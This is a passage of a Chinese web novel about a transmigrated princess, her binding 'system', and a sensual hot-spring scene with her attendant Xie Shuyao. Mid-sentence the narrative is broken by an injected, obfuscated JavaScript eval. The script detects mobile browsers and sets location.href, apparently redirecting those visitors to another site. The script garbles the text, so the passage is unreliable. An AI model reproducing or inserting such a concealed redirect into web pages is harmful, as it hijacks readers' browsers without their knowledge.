她这样是伤了江寻芷的心,但那也属于是无可奈何。 迟早会有这么一遭的。 江迎瓷皱着眉头,“说来说去都怪你。” “当初我们签订协议的时候,你没说我还得解决这些问题。” 她以为只要按部就班地走剧情就行了,结果什么都得她操心。 032号心虚了一瞬,但很快又理直气壮起来。 【如果剧情真有那么强大,什么都不需要你考虑,那我绑定宿主你的意义在哪儿呢?】 那它随便找个人就好了,反正万事都有剧情纠正,它何必费尽心思挑选个聪明强大的宿主? 江迎瓷:…… 回到府中已是下午,江迎瓷特意没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190910|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掩饰自己的脸色,人人都知道她是进宫去了,如今却沉着脸回来,显然是在宫里发生了什么。 长公主府中不乏其他人派来的探子,相信用不着多久这件事就会被传出去。 茗月算是知情者。 哪怕不清楚具体细节,但她也或多或少猜到了一些,只是见江迎瓷心情不好,她没敢多问。 江迎瓷换了身更加轻便的衣裳,又将头上的珠釵都卸下来,这才觉得松快了些。 她本想小憩一会儿,躺着却怎么都睡不着,最后干脆又坐了起来。 “茗月。” “让人备水。” 长公主府中有一处专门的温泉池子,江迎瓷来了这些日子,还是第一回踏足这里。 殿内燃着熏香,淡红轻纱随着热气飘摇,影影绰绰间,只见有两人正跪在池边。 江迎瓷抬手挑开红纱,映入眼帘的是两张一模一样的脸。 不需要再靠头顶的提示,江迎瓷就能分辨出两人的身份。 她依旧率先看向谢舒遥。 几日未见,谢舒遥似乎清瘦了些,她的眸光忐忑又期待,带着几分欲说还休的韵味。 “殿下。” “嗯。” 江迎瓷站定,“你过来,替本宫更衣。” 她的语气平静自然,像是之前的冷淡和失宠从未有过一样。 谢舒遥慢慢站起身来,“是。” 她心情复杂,而谢凌闲也没好到哪去。 又是这样。 她只叫了谢舒遥一人。 谢凌闲抿了抿唇。 只要有谢舒遥在,她好像就永远也看不到自己一样。 谢舒遥走到江迎瓷身前,她试探着伸手勾住江迎瓷的腰带,面前的人没有动,只用一种谢舒遥看不懂的眼神望着她。 回忆起如意说的长公主似乎心情不佳的消息,谢舒遥心想,看来传言的确是真的。 外衫随着腰带一同坠落,堆积在脚边,离得近了,谢舒遥又闻到了那股熟悉的淡香。 她的目光不自觉划过江迎瓷的颈侧。 那几道红痕已经没有了。 她的心思飘远了,手上的动作却依旧没停。 一件件衣裳滑落,到最后一件时,谢舒遥犹豫起来。 江迎瓷似是看穿了她的想法,“继续。” 她的语气不容抗拒。 谢舒遥闭了闭眼,“是。” 随着最后一件衣裳脱去,江迎瓷的身上就只剩下了绯色的肚兜。 谢舒遥的耳尖不受控制地红了起来。 她还是第一次见到江迎瓷做这副打扮,明明之前江迎瓷连亲都不肯让她亲的,现在居然会让她伺候着脱衣服。 难道是因为两人已经有了肌肤之亲,所以江迎瓷也不再避着她了? 面前的景象让她来不及思索更多。 肚兜只遮住了前面的风光,谢舒遥站在江迎瓷身后,能清晰地看见对方纤瘦细腻的背,两片蝴蝶骨漂亮雪白,再往下是柔软的腰肢,被一根细带松松束着。 兴许是屋里太热了,谢舒遥感觉自己的鼻尖冒出了点儿汗珠,她的喉咙也有些干。 “殿下。” 谢舒遥望着那根细长的绸带,它垂在江迎瓷的后腰处,正随着江迎瓷的呼吸而微弱晃动着,像在引诱她更近一步似的。 谢舒遥深吸了口气,低声问道: “还要继续吗?”